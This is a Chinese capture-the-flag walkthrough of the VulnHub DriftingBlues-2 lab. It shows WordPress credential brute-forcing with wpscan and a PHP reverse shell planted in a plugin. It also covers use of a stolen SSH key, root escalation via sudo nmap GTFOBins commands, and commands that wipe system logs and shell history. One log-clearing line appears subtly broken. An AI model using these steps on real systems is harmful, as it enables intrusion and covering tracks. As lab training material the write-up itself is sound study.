vulnhub靶场【DriftingBlues】之2

前言

靶机:DriftingBlues-2

攻击:kali

都采用虚拟机技术,网卡为桥接模式

主机发现

使用arp-scan -l或者netdiscover -r 192.168.1.1/24

信息收集

使用nmap扫描端口

网站探测

访问80端口,只有背景图,查看页面源代码,也是如此

尝试进行目录扫描

使用gobuster、dirsearch、dirb、dirbuster、ffuf等工具

shell 复制代码
gobuster dir -u http://192.168.1.59 -w /usr/share/wordlists/dirb/big.txt -x php,zip,md,txt,html,jpg -b 404

当然这里使用gobuster只是进行一层目录扫描,不深入,想要深入,可以使用dirsearch、dirb

使用dirb效果演示

访问/blog目录,发现在连接时,在连接一个域名,并且,内容加载有问题,猜测可能需要绑定解析

使用whatweb进行指纹识别,确定CMS为wordpress

使用针对wordpress的扫描工具wpscan

shell 复制代码
wpscan --url http://192.168.1.59/blog

漏洞寻找

继续使用wpscan枚举用户

shell 复制代码
wpscan --url http://192.168.1.59/blog -e u

发现用户albert

尝试进行爆破,出现密码,用户名albert,密码scotland1

shell 复制代码
wpscan --url http://192.168.1.59/blog -e u -P /usr/share/wordlists/rockyou.txt 

访问/blog/wp-admin时,发现跳转域名,需要进行绑定,修改/etc/hosts文件后,可正常访问

漏洞利用

登录测试,发现登录成功,测试查看插件,发现一个插件,把该插件启用

然后编辑这个插件,测试能否修改,发现可以修改

kali中的脚本/usr/share/webshells/php/php-reverse-shell.php复制到这里面,脚本中的ipkali的ip地址

kali中开启监听端口1234,浏览器刷新即可,因为这个插件就是用户登录后的右上角,打招呼hello

靶机内信息收集

使用compgen -c或者dpkg -l | grep python,查看有无安装python

使用python获取一个交互式界面

shell 复制代码
python3 -c 'import pty;pty.spawn("/bin/bash")'

使用find寻找具有SUID权限文件,发现sudo,但是需要密码

使用find寻找capabilities,并无可用

shell 复制代码
find / -type f -executable 2>/dev/null | xargs getcap -r 2>/dev/null

去网站目录下查看wp-config.php连接数据库的时候,有无使用靶机内的用户及密码,

查看当前靶机内的用户,只有freddieroot

到该用户的主目录,发现在其下的.ssh文件夹中的私钥文件id_rsa可读

提权

提权至freddie

把私钥文件id_rsa下载到kali或者复制到kali,然后指定该文件登录到freddie

突然想起之前的ftp端口打开,测试能否匿名访问,空密码登录成功

下载一个图片,测试有无隐藏信息,测试发现没有内容

那么就继续以freddiessh登录为主

提权至root

之前使用find寻找具有SUID权限时,有sudo,不过当时需要密码,这里还是没有密码,但是还是要测试一下

发现可以,不需要密码

这里就可以使用nmap通过sudo进行提权,因为这里不需要密码了。

那么如果不知道如何使用提权,可以查看网站gtfobins.github.io搜索使用

根据条件满足去使用,或者两种方法都测试也行,反正方法不多

shell 复制代码
第一种方式,是nmap的输入不会回显,才能使用
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

第二种方式,需要nmap的版本对应2.02--5.21,可通过nmap --version查看
sudo nmap --interactive
nmap> !sh

这里的靶机nmap版本大于提权版本,所以使用第一种提权方式
第一种提权,在输入命令时,是看不到的,只能看到输出

清除痕迹

网站恢复

把网站中的内容恢复原状,把复制的脚本内容删除,然后恢复插件的原本状态

可以在当前终端,或者网站执行

各种日志清除

因为回显问题,所以这里不截图,放入命令

shell 复制代码
sed -i "/192.168.1.16/d" auth.log
echo > btmp
echo > lastlog
echo > wtmp
echo > apache2/access.log
echo > apache2>error.log
历史记录清除
shell 复制代码
history -r 
history -c

总结

  1. 考察wordpress模板中怎么寻找漏洞,以及工具wpscan熟练使用
  2. 考察ssh服务的基本,这里主要以考察公私钥
  3. 考察基本的sudo提权
相关推荐
JoannaJuanCV13 分钟前
VLM学习-SFT(监督微调)
深度学习·学习·机器学习·大模型·视觉大模型·vlm·视觉编码器
黑臂麒麟34 分钟前
HarmonyOS 网络连接诊断实战:检测网络状态、WiFi 切换、弱网监测一网打尽
网络·华为·arkts·鸿蒙
CPETW1 小时前
USB TO I2C_(Excel)_Scan ---- 1000KHz总线速率测试_A
c语言·开发语言·网络·科技·单片机
程序员大雄学编程1 小时前
微积分43. 无穷积分入门:从概念到Python实战可视化
开发语言·python·学习·微积分
杨云龙UP2 小时前
Oracle 19c RMAN历史备份清理失败:CONTROL_FILE_RECORD_KEEP_TIME 问题排查与整改实战
linux·运维·网络·数据库·oracle·rac
一条破秋裤2 小时前
STM32 学习笔记:GPIO 输出实验——LED 闪烁、流水灯与蜂鸣器
笔记·stm32·学习
2601_962073972 小时前
【MySQL】全面学习数据库查询技巧:查询指令深度学习指南
数据库·学习·mysql
存在morning2 小时前
【Paimon 学习笔记 二】存储架构:快照、manifest、LSM 树、bucket
笔记·学习·架构
pt10432 小时前
网络自动化Python课程:Netconf与Restconf及Cisco自动化配置实验
网络·python·自动化
双眼鈹2 小时前
周报8.31
笔记·学习